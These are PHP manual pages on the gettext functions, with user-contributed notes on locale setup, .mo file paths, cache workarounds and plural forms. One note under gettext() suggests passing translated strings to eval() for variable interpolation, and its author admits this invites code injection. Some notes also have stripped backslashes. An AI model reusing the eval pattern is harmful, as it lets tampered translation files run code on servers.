I used mingw (http://www.mingw.org) with gettext package (http://sourceforge.net/projects/mingwrep) to make it work under WinXp.

I uncoment also "extension=php_gettext.dll" in php.ini (I am using easy php 1.6.0.0)

Here is my conv.bat to generate french translation :

set path=c:\mingw\bin
msgfmt -v -o greetings.mo greetings.po
pause

That's all !

Yann Le Doar�, Brest, France
ywliu atsign hotmail com 09-Jul-2002 06:39
Hello,

For users with Red Hat GNU/Linux (at least 6.2) to use gettext, I'd like to make some notes here :

1. Calling setlocale() is necessary, where calling putenv('LANG=xx_YY') or putenv('LC_ALL=xx_YY') is not.

2. The country/language code should be in the "language_country" form,such as, "en_US" or "fr_FR", or any entry in /usr/share/locale/locale.aliase . The simple ISO two-letter code, such as "en" , is not valid. You can examine the return value of setlocale to see if the locale setting succeeds.

This took me several hours to debug. I hope my experience can save you some time.

This may apply to other Linux distributions or *BSD systems. I don't know. I hope this helps.

Yen-Wei Liu
php at dynaperl dot com 25-Jun-2002 03:49
If you install from SuSE Dist. you need glibc-locale.rpm to let gettext work.

mfg ralph.
mgvNOSPAM at fx dot ro 05-Jun-2002 04:47
If you're as clueless as I am, please note the following:
1. Although most comments list setlocal() in the code, that's not actually required for translations - read the docs under "string functions" for details (also, the official gettext() examples don't include it);
2. hace_x's example is really cool, except you need to know that all "n"'s at the end of his strings should have a backslash before - they're actually EOL characters, but they somehow got messed up and I needed two hours to find that out...
hace_x at yahoo dot com 15-Nov-2001 02:40
I had alot of problems to get gettext() to work on my windows2000-php webserver. The following will give those windows-php users something to hold on to:

Note the way you have to use slashes for the bindtextdomain command:

For a 'greetings' domain:

bindtextdomain ("greetings", ".\includes\translations");

(so, TWO slashes instead of one between the folder-names!)

ALSO, I had to change the filename to be 'greetings.mo': This was NOT clear from all the gnu-pages I read. I had named those files: nl.mo (for dutch) and fr.mo (for french etcetera).

I provide my code and folder-structure here for other windows-users:

<?
Header("Content-type: text/plain");
// Bind a domain to directory
// Gettext uses domains to know what directories to
// search for translations to messages passed to gettext

bindtextdomain ("greetings", "./includes/translations"); // Set the current domain that gettext will use
textdomain ('greetings'); # Make an array

# Use the ISO two-letter codes as keys
# Use the language names as values
$iso_codes = array (
   'en'=>'English',
 'fr'=>'French',
   'it'=>'Italian',
  'pt'=>'Portuguese',
   'es'=>'Spanish',
  'nl'=>'Nederlands'
);
foreach ($iso_codes as $iso_code => $language) {
   # Set the LANGUAGE environment variable to the desired language
   putenv ('LANG='.$iso_code); # Print out the language name and greeting
# Filter the greeting through gettext

printf ("%12s: %s\n", $language, gettext("str_hello")) & "\n";

}
?>

In the windows-webfolder I have the following directory-structure:

==
includes\translations
includes\translationsen
includes\translations\en\LC_MESSAGES
includes\translations\en\LC_MESSAGES\greetings.po
includes\translations\nl\
includes\translations\nl\LC_MESSAGES
includes\translations\nl\LC_MESSAGES\greetings.mo
\includes\translations\nl\LC_MESSAGES\greetings.po
===

To get this working you will need a greetings.po file like this:

(this one is in the 'nl' subdir for dutch language):
===
msgid ""
msgstr ""
"Project-Id-Version: n"
"POT-Creation-Date: n"
"PO-Revision-Date: 2001-11-14 17:11+0100n"
"Last-Translator: Melle Koning <hace_x@yahoo.com>n"
"Language-Team:  <>n"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=utf-8n"
"Content-Transfer-Encoding: 8bitn"

msgid "str_hello"
msgstr "hallo"
===

and you have to 'compile' this .po file to a .mo file with the following command-line (go to windows 'command prompt'):

==
msgfmt -o greetings.mo greetings.po
==

To get msgfmt working on your windows machine, you will need to have libiconv.dll, libintl.dll and msgfmt.exe in your path. What I did was put these three files in a new c:utils folder and than run the command:
path=%path%;c:utils

I hope this helps some windows-users like me to get gettext() to work on their systems.......

Cheers,
Melle
hace_x@yahoo.com
Michele dot Manzato at verona dot miz dot it 14-Sep-2001 12:52
Gettext is great, but there are a few caveats you have to consider in order to make it work. Unfortunately the gettext docs isn't so plain and clear...

The .mo file created with the gettext utilities must be:

[bindtextdomain's dir]/[language]/LC_MESSAGES/[domain].mo

otherwise gettext() function will fail to find it (this is true in win32, don't know about Un*ces). By the way you don't get any error message, the strings will simply remain untranslated.

Second, you must make sure which is the current directory if you use a relative path in bindtextdomain. On some systems the script directory isn't the current directory, so you have to chdir() there.

Then, of course, make sure that the appropriate gettext extension are loaded by PHP by looking at the php configuration file.

Here is some sample code:

// Change to the script directory
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as 'it'
$language = 'it';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/it/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Have fun!
Michele
12-Jul-2001 01:59
To get xgettext working with my php code I had to change simple quotes to double quites in my previous example :

print(getText("Welcome"));
/.../
if($err)printf(dGetText("errorMsg","you have an error here"));

I guess that's because strings can not be simple-quoted in C. However I think it is good practice to do as if it was a simple quote, because you do not want to interpolate a string that will end in the catalogue.

Ivan
11-Jul-2001 02:40
It is probably obvious to many of you,  but I thought it was worth mentioning that the domain is the name of the .mo files that contain the string catalogue (without the extension).

so if you have a catalogue myPage.mo for each page in './locale/lg/LC_MESSAGE' and some generic catalogues (e.g. errorMsg.mo) in '/global/locale/lg/LC_MESSAGE', you can do

bindTextDomain("$myPage", './locale');
bindTextDomain('errorMsg','/global/locale' );
textDomain('myPage');
print(getText('Welcome'));
/.../
if($err)printf(dGetText('errorMsg','you have an error here'));

Ivan


Specify the character encoding in which the messages from the DOMAIN message catalog will be returned

  • « Gettext Functions
  • bindtextdomain »
  • PHP Manual
  • Gettext Functions
  • Specify the character encoding in which the messages from the DOMAIN message catalog will be returned

bind_textdomain_codeset

(PHP 4 >= 4.2.0, PHP 5)

bind_textdomain_codeset — Specify the character encoding in which the messages from the DOMAIN message catalog will be returned

Description

string bind_textdomain_codeset ( string $domain , string $codeset )

With bind_textdomain_codeset(), you can set in which encoding will be messages from domain returned by gettext() and similar functions.

Parameters

domain

The domain

codeset

The code set

Return Values

A string on success.

User Contributed Notes

jon at rejon dot org 31-Aug-2006 09:58
So, by using this function and by setting the LANGUAGE variable, you should be able to have a functioning i18n system that is not dependent upon a system's locale installation. Here is a sample from a method I created for a language class. Look for it on http://wiki.creativecommons.org/Developer soon:

    function Init ()
    {
        // set the LANGUAGE environmental variable
        // This one for some reason makes a difference FU@#$%^&*!CK
        // and when combined with bind_textdomain_codeset allows one
        // to set locale independent of server locale setup!!!
        if ( false == putenv("LANGUAGE=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANGUAGE = %s",
                                 $this->_language));

        // set the LANG environmental variable
        if ( false == putenv("LANG=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANG = %s",
                                 $this->_language));

        // if locales are not installed in locale folder, they will not
        // get set! This is usually in /usr/lib/locale
        // Also, the backup language should always be the default language
        // because of this...see the NOTE in the class description

        // Try first what we want but with the .utf8, which is what the locale
        // setting on most systems want (and is most compatible
        // Then just try the standard lang encoding asked for, and then if
        // all else fails, just try the default language
        // LC_ALL is said to be used, but it has nasty usage in some languages
        // in swapping commas and periods! Thus try LC_MESSAGE if on one of
        // those systems.
        // It is supposedly not defined on WINDOWS, so am including it here
        // for possible uncommenting if a problem is shown
        //
        // if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6);
        // yes, setlocale is case-sensitive...arg
        $locale_set = setlocale(LC_ALL, $this->_language . ".utf8",
                                        $this->_language . ".UTF8",
                                        $this->_language . ".utf-8",
                                        $this->_language . ".UTF-8",
                                        $this->_language,
                                        CC_LANG);
        // if we don't get the setting we want, make sure to complain!
        if ( ( $locale_set != $this->_language && CC_LANG == $locale_set) ||
             empty($locale_set) )
        {
            CCDebug::Log(
                sprintf("Tried: setlocale to '%s', but could only set to '%s'.",                        $this->_language, $locale_set) );
        }

        $bindtextdomain_set = bindtextdomain($this->_domain,
                                  CC_LANG_LOCALE . "/" . $this->_locale_pref );
        if ( empty($bindtextdomain_set) )
            CCDebug::Log(
            sprintf("Tried: bindtextdomain, '%s', to directory, '%s', " .
                    "but received '%s'",
                    $this->_domain, CC_LANG_LOCALE . "/" . $this->_locale_pref,
                    $bindtextdomain_set) );

        bind_textdomain_codeset($this->_domain, "UTF-8");
        $textdomain_set = textdomain($this->_domain);
        if ( empty($textdomain_set) )
            CCDebug::Log(sprintf("Tried: set textdomain to '%s', but got '%s'",
                                 $this->_domain, $textdomain_set));

    } // end of method Init ()
przemekkus at interia dot pl 05-Jun-2006 08:54
I had problems with German "umlauts" when using gettext. So, this is how it can be resolved:

I've put these lines itom my PHP code:

$domain = "messages";
bindtextdomain($domain, "path_to_messages_dir");
bind_textdomain_codeset($domain, 'ISO-8859-15');
textdomain($domain);

It works!
duckx at mezimail dot com 24-May-2004 08:33
First the the url of the gettext manual changed:
http://www.gnu.org/software/gettext/manual/

Secondly, lets explain a little bit what this fonction does.
By default, gettext will use the LC_CTYPE of the language you choose (for example fr_FR).
This LC_CTYPE is extracted from your locales.alias file in your configuration dir (Should be /etc/locales.alias).
By default, the encoding is frequently iso-8859-1.

So if you want to make your site utf-8 aware, you need to bind your domain with the right encoding.
Here is a sample:
<?php
   $locale="fr_FR.UTF-8"
   setlocale(LC_MESSAGES,  $locale);
   $domain = 'your_text_domain';
   bindtextdomain($domain, './translations_path');
   textdomain($domain);
   bind_textdomain_codeset($domain, 'UTF-8');

?>

As quoted in other notes, the translations path should be like
/translations_path
   /de_DE/
       /LC_MESSAGES
   /fr_FR/
       /LC_MESSAGES
   ...

Your translation goes in the LC_MESSAGES dirs ... Hopes this helps :)


Sets the path for a domain

  • « bind_textdomain_codeset
  • dcgettext »
  • PHP Manual
  • Gettext Functions
  • Sets the path for a domain

bindtextdomain

(PHP 4, PHP 5)

bindtextdomain — Sets the path for a domain

Description

string bindtextdomain ( string $domain , string $directory )

The bindtextdomain() function sets the path for a domain.

Parameters

domain

The domain

directory

The directory path

Return Values

The full pathname for the domain currently being set.

Examples

Example #1 bindtextdomain() example

<?php

$domain = 'myapp';
echo bindtextdomain($domain, '/usr/share/myapp/locale');

?>

The above example will output:

/usr/share/myapp/locale

User Contributed Notes

There are no user contributed notes for this page.


Overrides the domain for a single lookup

  • « bindtextdomain
  • dcngettext »
  • PHP Manual
  • Gettext Functions
  • Overrides the domain for a single lookup

dcgettext

(PHP 4, PHP 5)

dcgettext — Overrides the domain for a single lookup

Description

string dcgettext ( string $domain , string $message , int $category )

This function allows you to override the current domain for a single message lookup.

Parameters

domain

The domain

message

The message

category

The category

Return Values

A string on success.

See Also

  • gettext() - Lookup a message in the current domain

User Contributed Notes

zak at nucleus dot com 04-Dec-2000 12:05
The category argument allows a specific category of the locale settings to be used for fetching a message.  Valid categories are:

LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES and LC_ALL.

Note that the category must be specified with a numeric value, instead of the constant name.  The values are:

LC_CTYPE        0
LC_NUMERIC      1
LC_TIME         2
LC_COLLATE      3
LC_MONETARY     4
LC_MESSAGES     5
LC_ALL          6


Plural version of dcgettext

  • « dcgettext
  • dgettext »
  • PHP Manual
  • Gettext Functions
  • Plural version of dcgettext

dcngettext

(PHP 4 >= 4.2.0, PHP 5)

dcngettext — Plural version of dcgettext

Description

string dcngettext ( string $domain , string $msgid1 , string $msgid2 , int $n , int $category )

This function allows you to override the current domain for a single plural message lookup.

Parameters

domain

The domain

msgid1

msgid2

n

category

Return Values

A string on success.

See Also

  • ngettext() - Plural version of gettext

User Contributed Notes

There are no user contributed notes for this page.


Override the current domain

  • « dcngettext
  • dngettext »
  • PHP Manual
  • Gettext Functions
  • Override the current domain

dgettext

(PHP 4, PHP 5)

dgettext — Override the current domain

Description

string dgettext ( string $domain , string $message )

The dgettext() function allows you to override the current domain for a single message lookup.

Parameters

domain

The domain

message

The message

Return Values

A string on success.

See Also

  • gettext() - Lookup a message in the current domain

User Contributed Notes

viral at noeticsolutions dot com 30-Mar-2006 11:42
While using this function, remember to call bindtextdomain for as many domains as you want to use in your application.  For example, if I have module1 and module2 as 2 separate domains in the same application, you can do the following:

bindtextdomain("module1", "//path/to/my/locale/folder");
bindtextdomain("module2", "//path/to/my/locale/folder");
textdomain("module1");

echo _("Label1"); // this call will get the message from module1
echo dgettext("module2", "Label1"); // this call will get the message from module2

===
Viral Shah


Plural version of dgettext

  • « dgettext
  • gettext »
  • PHP Manual
  • Gettext Functions
  • Plural version of dgettext

dngettext

(PHP 4 >= 4.2.0, PHP 5)

dngettext — Plural version of dgettext

Description

string dngettext ( string $domain , string $msgid1 , string $msgid2 , int $n )

The dngettext() function allows you to override the current domain for a single plural message lookup.

Parameters

domain

The domain

msgid1

msgid2

n

Return Values

A string on success.

See Also

  • ngettext() - Plural version of gettext

User Contributed Notes

There are no user contributed notes for this page.


Lookup a message in the current domain

  • « dngettext
  • ngettext »
  • PHP Manual
  • Gettext Functions
  • Lookup a message in the current domain

gettext

(PHP 4, PHP 5)

gettext — Lookup a message in the current domain

Description

string gettext ( string $message )

Looks up a message in the current domain.

Parameters

message

The message being translated.

Return Values

Returns a translated string if one is found in the translation table, or the submitted message if not found.

Examples

Example #1 gettext()-check

<?php
// Set language to German
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');

// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");

// Choose domain
textdomain("myPHPApp");

// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now

// Print a test message
echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()
echo _("Have a nice day");
?>

Notes

Note:

You may use the underscore character '_' as an alias to this function.

Note:

Setting a language isn't enough for some systems and the putenv() should be used to define the current locale.

See Also

  • setlocale() - Set locale information

User Contributed Notes

nayana at corp - gems dot com 26-Jun-2014 08:16
on OSX (10.9.3) and PHP (5.4.24) you need to use full local name including codeset

i.e. for German need to use de_DE.UTF-8 even setlocale returns success when used without .UTF-8 the lookups will not work.
telefoontoestel at hotmail dot com 06-Feb-2014 12:43
This function is not able to handle null values. It can return the complete translation file if you enter null as argument.
mikko dot rantalainen at peda dot net 08-Jan-2014 03:17
Worth noting is that gettext honors environment variables while selecting the language to use: http://www.gnu.org/software/gettext/manual/html_node/Locale-Environment-Variables.html

"When a program looks up locale dependent values, it does this according to the following environment variables, in priority order:

    LANGUAGE
    LC_ALL
    LC_xxx, according to selected locale category: LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES, ...
    LANG

Variables whose value is set but is empty are ignored in this lookup. "

In short, if you have non-empty LANGUAGE, you may end up with unexpected localization strings. On the other hand, LANGUAGE can be used to define fallback language if some translation is missing.
jmeile at hotmail dot com 07-Jan-2014 07:23
I just wanted to say that gettext won't work on WAMP Server 2.4 / 64 Bit, see the thread I posted here:

Title: Gettext doesn't work on WAMP 64 Bits
http://forum.wampserver.com/read.php?2,120770,120770#msg-120770

I haven't tested with only apache 64 Bit, so, I don't know if the issue is related to apache or WAMP. Anyway, to make it work with WAMP, install the 32 Bit version of WAMP and only do this:

define('LOCALE_DIR', '<root_dir_of_your_po_files>'); //ie: C:/wamp/www/your_app/locale
$locale = '<your_locale>'; //ie: es_CO
$domain = 'your_gettext_domain'; //ie: messages
putenv('LC_ALL=' . $locale);
bindtextdomain($domain, LOCALE_DIR);
textdomain($domain);
echo _('<your_string>'; // ie: Hello world

"setlocale" nor setting the LANG, LANGUAGE, and LC_MESSAGES environment variables seems to be necessary under windows. I got it working by setting "LC_ALL" only.
ashi009 at gmail dot com 30-Nov-2012 01:34
The simplest way to by-pass gettext() cache, without restart apache nor change domain.

The fix is incredible simple, first create a dummy link to the locale folder where .mo files stored:

cd locale
ln -s . nocache

Then add one single line before bindtextdomain()

<?php
bindtextdomain('domain', './locale/nocache');
bindtextdomain('domain', './locale');
?>

Now the cache is forced to flush every time.
simen at nconel dot no 09-May-2012 07:57
gettext returns the headers from .mo files
if the message parameter is set to empty.

So if you are for example using Smarty blocks, make sure that the values given checks if the text has content or else your text will have a bunch of headers printing.

If you are putting a variable to the gettext, like so:
_($text);
you are better of making another function like this:
<?php
function __($text){
if(empty($text)) return "";
else gettext($text);
}
?>
bla at taxistop dot be 06-Jan-2011 03:47
For me it is sufficient to call setlocale() with a string like "nl_BE" as the second parameter, to make gettext() work. Just plain "nl" was not enough.

Ditto when using an environment variable like LANG: "en", "fr", "nl", "de" are not enough: I have to specify the country, too.
surfchen at gmail dot com 04-Mar-2010 09:26
As of php 5.3, you can use the following code to get the preferred locale of the http agent.

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
?>
nonproffessional at clockworkgeek dot com 25-Aug-2009 03:46
If you want to have variables in your text to be translated the usual way would be with string formatting like so:
<?php
printf(gettext("Hello %s!"), $world);
?>
This works because the string substitution is made after gettext performs. The human translator needs to be aware of what %s represents, when there are many variables in a line it can get confusing.

We can evaluate the string as PHP code instead of using string formatting:
<?php
eval('echo "' . addslashes(gettext('Hello $world!')) . '";');
?>
Notice the text to be translated is in single quotes so $world does not get evaluated too soon. Quotes in the translated text are escaped to prevent bad parsing.

Now the human translator will see $world which is more meaningful than "%s". He must be careful not to translate the variable name but leave it intact.
It is also easier to change the order in which variables are used instead of printf's arcane "%2$s". For advanced use the translator could take advantage of functions like ucwords().

The downside of this method is any PHP code can be evaluated which might be damaging. This is equivalent to an injection attack. Make sure to vet all translated text to prevent other code sneaking in.
daemonraco at yahoo dot com dot ar 24-Apr-2007 11:06
I had a problem like "adino at adino dot sk" said, so I did the unsetting of LANG ($ unset LANG), but it was not sufficient, I had to unset the environment variable LANGUAGE too.

I tried to do this using "sudo", but it didn't works, so I had to change to root using "su"

If you need to know, I use Musix (a sub-distro of Devia).

I hope this will help you, Seeya! ^__^'
vinaykuruvila at gmail dot com 03-Mar-2006 11:55
If like me, you are stuck with making a lot of code localizable, you have to go through all your php files and wrap all srings in _("string"). Here's an elisp function which can help you out.

This function enables you to highlight some text in an emacs buffer and make it a localizable string using the keyboard shortcut C-l (Ctrl and l). If the first character highlighted is " or ', then it assumes the text is in php-context and changes it to: _(HIGHLIGHTED_TEXT). Otherwise it assumes the text is in html-context and changes it to <?=_('HIGHLIGHTED_TEXT')?>

The shortcut C-k can be used for translating parts of php strings which contain html tabs. We dont want to translate the entire string including the tabs, so we highlight just the substring that needs to be translated and use C-k.

To use it, do either of:
Copy and paste the following code into your .emacs file. This would permanently associate the keyboard shortcut C-l with this function.
Save the code in a new file ending with the .el extension. Evaluate it using M-x eval-buffer. This makes the C-l keyboard shortcut only last for the current Emacs session.

Code
;author: Vinay Kuruvila March 01 2006
;updated to handle php strings containing html tabs

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within php context
(defun make-localizable-string-in-php-context(left right)
(goto-char left)
(insert "_(")
(goto-char (+ right 2))
(insert ")")
)

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within html context
(defun make-localizable-string-in-html-context(left right)
(goto-char left)
(insert "<?= _('")
(goto-char (+ right 7))
(insert "')?>")
)

;makes the highlighted text a localizable string
;uses php-context localization if the first char highlighted
;is " or '
;otherwise uses html-context localization
(defun make-localizable-string()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)

;determine php-context or html-context and dispatch
(if (or (char-equal (char-after left) ?\") (char-equal (char-after left) ?'))
(make-localizable-string-in-php-context left right)
(make-localizable-string-in-html-context left right)
)
(deactivate-mark)
)

;to handle php strings which contain html tabs
;we dont want to translate the html tabs
(defun make-localizable-string-within-php-string ()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)
(goto-char left)
(insert "\". _(\"")
(goto-char (+ right 6))
(insert "\").\"")
(deactivate-mark)
)

;assigns a keyboard shortcut
(global-set-key "\C-l" 'make-localizable-string)
(global-set-key "\C-k" 'make-localizable-string-within-php-string)
suchy(d)ivan(a)gmail.com 10-Dec-2005 01:35
Default behavior is name .mo file equally in every language version:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- lang.mo

--- sk_SK
------ LC_MESSAGES
--------- lang.mo
===

I think, better form is:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- en.mo

--- sk_SK
------ LC_MESSAGES
--------- sk.mo
===

Then the following code works very well (surprisingly on win32 too), and you don't need restart apache and do other confusing things:

<?php
$gettext_domain = 'sk'; // change by language
setlocale(LC_ALL, 'sk_SK.UTF-8'); // change by language, directory name sk_SK, not sk_SK.UTF-8
bindtextdomain($gettext_domain, "lang");
textdomain($gettext_domain);
bind_textdomain_codeset($gettext_domain, 'UTF-8');
?>

Have nice day :-)
smerf(a)druid(d)if(d)uj(d)edu(d)pl 31-Oct-2005 10:38
Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
florent at eledo dot com 30-Aug-2005 04:05
Take care when extracting the strings from the source files : if your source files are not encoded in ascii, then xgettext must be used with the --from-code option, and the generated .po file is *always* UTF-8 (even if you used a different --from-code charset).

The usage of gettext will not work later on strings which include non ascii caracters. For make it working, you have to translate the .po file to your proper charset with msgconv.

Example :
my source files are encoded in iso-8859-1
$ xgettext --from-code=iso-8859-1 -n *.php -o myapp.po
==> myapp.po is in UTF-8 (and generated .mo files will not work with gettext).
I have to convert it to iso-8859-1 before translating :
$ msgconv --to-code=iso-8859-1 myapp.po -o myapp.po
...and now translate the file.
adino at adino dot sk 20-May-2003 04:23
If you 're experiencing problems like gettext() is not working and you're getting translated text only occassionaly use: unset LANG before starting apache.
Next thing is that you have to restart apache after you 've changed .mo files because they're treated something like shared libraries.
I've only tested this with Linux (Sourcemage Linux distro, Mandrake) but it might be true for others as well.
jespersaNOSPAM at diku dot NO_SPAM dot dk 05-May-2002 02:27
There's a good tutorial to the GetText tools used with PHP at http://zez.org/article/articleview/42
The only modification I needed to do was to use the correct ISO-language/country-codes (don't know the ISO number) and call setlocale.
helloworld.php:

<?php
putenv("LC_ALL=da_DK"); // For danish/Denmark
setlocale(LC_ALL, "");

// ./locale/da/LC_MESSAGES holds the helloworld.mo file
bindtextdomain("helloworld", "./locale");
textdomain("helloworld");

print(gettext("Hello world!"));
?>

I had a lot of trouble getting this to work on Red Hat (Yellow Dog) Linux though.
iguy at ionsphere dot org 05-Mar-2001 05:18
Depending on the implementation of gettext used you might have to call the setlocale(LC_ALL, "") command.
So your example code would be

<?php

// Set language to German
putenv ("LANG=de");

// set the locale into the instance of gettext
setlocale(LC_ALL, "");

// Specify location of translation tables
bindtextdomain ("myPHPApp", "./locale");

// Choose domain
textdomain ("myPHPApp");

// Print a test message
print (gettext ("Welcome to My PHP Application"));
?>

NOTE:  If setlocale returns NULL the LANG specified is invalid and "not supported".


Plural version of gettext

  • « gettext
  • textdomain »
  • PHP Manual
  • Gettext Functions
  • Plural version of gettext

ngettext

(PHP 4 >= 4.2.0, PHP 5)

ngettext — Plural version of gettext

Description

string ngettext ( string $msgid1 , string $msgid2 , int $n )

The plural version of gettext(). Some languages have more than one form for plural messages dependent on the count.

Parameters

msgid1

msgid2

n

Return Values

Returns correct plural form of message identified by msgid1 and msgid2 for count n.

Examples

Example #1 ngettext() example

<?php

setlocale(LC_ALL, 'cs_CZ');
printf(ngettext("%d window", "%d windows", 1), 1); // 1 okno
printf(ngettext("%d window", "%d windows", 2), 2); // 2 okna
printf(ngettext("%d window", "%d windows", 5), 5); // 5 oken

?>

User Contributed Notes

Mike Robinson 18-Jun-2013 05:40
Even though "hek at theeks dot net"'s answer is valid, I would not recommend using the abs() hack recommended. Even though it is by far the most common, not all languages treat (n != 1) as plural. Other languages are much more complex, for example, here is how you determine plurals in Macedonian.

n==1 || n%10==1 ? 0 : 1

In Arabic there are actually 5 different types of plurals:

n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 ? 4 : 5

If you are using only specific languages that use the (n != 1) format AND -1 is singular, by all means, use abs(), but be careful and don't forget that you have done this when adding a new language to your project 3 years down the road.
hek at theeks dot net 19-Aug-2009 08:07
Beware of one difference between the GNU gettext API and the PHP binding of it, which is that the GNU gettext functions that accept a $count parameter all expect (indeed, being compiled C, require) that $count be unsigned, while the PHP binding does not.

Thus, the PHP gettext functions will happily accept negative numbers. The one potentially irritating consequence of this is that -1 is treated as plural, which sits well with some people and not so well with others.  (As a picky native speaker of English, my personal opinion is that both "the temperature is minus one degree Fahrenheit" and "four apples minus five apples leaves minus one apple" but others may feel that "four apples minus five apples leaves minus one apples" sounds better.)

The upshot: You may want to abs($count) before passing numbers to gettext.

Bonus points: If your application includes user preferences, you might offer a "treat -1 as singular" option to your users, then choose $count or abs($count) to pass to gettext based on each user's preference.
peter at ints dot net 14-Dec-2008 08:26
Example for russian lang:
file.po:
    ...
    "Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
    ...
    msgid "File"
    msgid_plural "Files"
    msgstr[0] "Файл"
    msgstr[1] "Файла"
    msgstr[2] "Файлов"
    ...

file.php
    ...
    echo ngettext("File", "Files", $number);
    ...
kontakt at somplatzki dot de 25-May-2007 11:47
It's useful to know how the .po-file has to look like when using ngettext:

msgid "item"
msgid_plural "items"
msgstr[0] "Produkt"
msgstr[1] "Produkte"

In php:

echo ngettext('item', 'items', $number);
tokul at users dot sourceforge dot net 10-Dec-2006 12:56
According to GNU gettext manual third argument is unsigned long integer. It must be positive number. If n is negative, it might be evaluated incorrectly in some languages.
mike-php at emerge2 dot com 03-Nov-2004 09:53
Section 10.2.5 in the GNU gettext manual explains the ngettext function:

http://www.gnu.org/software/gettext/manual/

(Sorry, but the Add Note function prevents me from including a long URL which points right to that section of the manual.)


Sets the default domain

  • « ngettext
  • iconv »
  • PHP Manual
  • Gettext Functions
  • Sets the default domain

textdomain

(PHP 4, PHP 5)

textdomain — Sets the default domain

Description

string textdomain ( string $text_domain )

This function sets the domain to search within when calls are made to gettext(), usually the named after an application.

Parameters

text_domain

The new message domain, or NULL to get the current setting without changing it

Return Values

If successful, this function returns the current message domain, after possibly changing it.

User Contributed Notes

ninja (without a) at informance dot dot dot info 14-Oct-2010 06:00
When you set a text domain, it (obviously) erases the previous one.

This can be a problem when you use nested includes in which there can be textdomain() calls with different text domains. After returning from the include, your textdomain is changed, and the rest of the parent script fails in translating the remaining sentences.

I wrote these two small functions to avoid that. You should put the whole code into a file which you require_once in every script that needs gettext functionalities. Then, use only set_textdomain() and restore_textdomain() at the beginning and the end of every script/function that sets a text domain.

A call to set_textdomain() MUST correspond to a call to restore_textdomain(), and there is no limit in how many nested calls are done.

One optimization is done here: when the new text domain is the same as the current one, no change is made, and restore_textdomain() will be aware of this so you can still call it safely.

<?php
$_td_stack = array(); // text domains stack

/**
 * Sets a new text domain after recording the current one
 * so it can be restored later with restore_textdomain().
 *
 * It's possible to nest calls to these two functions.
 * @param string the new text domain to set
 */
function set_textdomain($td)
{
    global $_td_stack;

    $old_td = textdomain(NULL);

    if ($old_td)
    {
        if (!strcmp($old_td, $td))
        {
            array_push($_td_stack, false);
        }
        else
        {
            array_push($_td_stack, $old_td);
        }
    }

    textdomain($td);
}

/**
 * Restore the text domain active before the last call to
 * set_textdomain().
 */
function restore_textdomain()
{
    global $_td_stack;

    $old_td = array_pop($_td_stack);

    if ($old_td)
    {
        textdomain($old_td);
    }
}
?>
ipso at snappymail dot ca 27-Apr-2007 08:26
I was having very strange issues with gettext only setting the locale once per Apache process (non-threaded), until I found this bug report:

http://bugs.php.net/bug.php?id=21965

It almost seemed like gettext was caching the data once per process, but in fact calling textdomain() fixed the issue for me.


iconv

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • iconv Functions
    • iconv_get_encoding — Retrieve internal configuration variables of iconv extension
    • iconv_mime_decode_headers — Decodes multiple MIME header fields at once
    • iconv_mime_decode — Decodes a MIME header field
    • iconv_mime_encode — Composes a MIME header field
    • iconv_set_encoding — Set current setting for character encoding conversion
    • iconv_strlen — Returns the character count of string
    • iconv_strpos — Finds position of first occurrence of a needle within a haystack
    • iconv_strrpos — Finds the last occurrence of a needle within a haystack
    • iconv_substr — Cut out part of a string
    • iconv — Convert string to requested character encoding
    • ob_iconv_handler — Convert character encoding as output buffer handler

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module contains an interface to iconv character set conversion facility. With this module, you can turn a string represented by a local character set into the one represented by another character set, which may be the Unicode character set. Supported character sets depend on the iconv implementation of your system. Note that the iconv function on some systems may not work as you expect. In such case, it'd be a good idea to install the » GNU libiconv library. It will most likely end up with more consistent results.

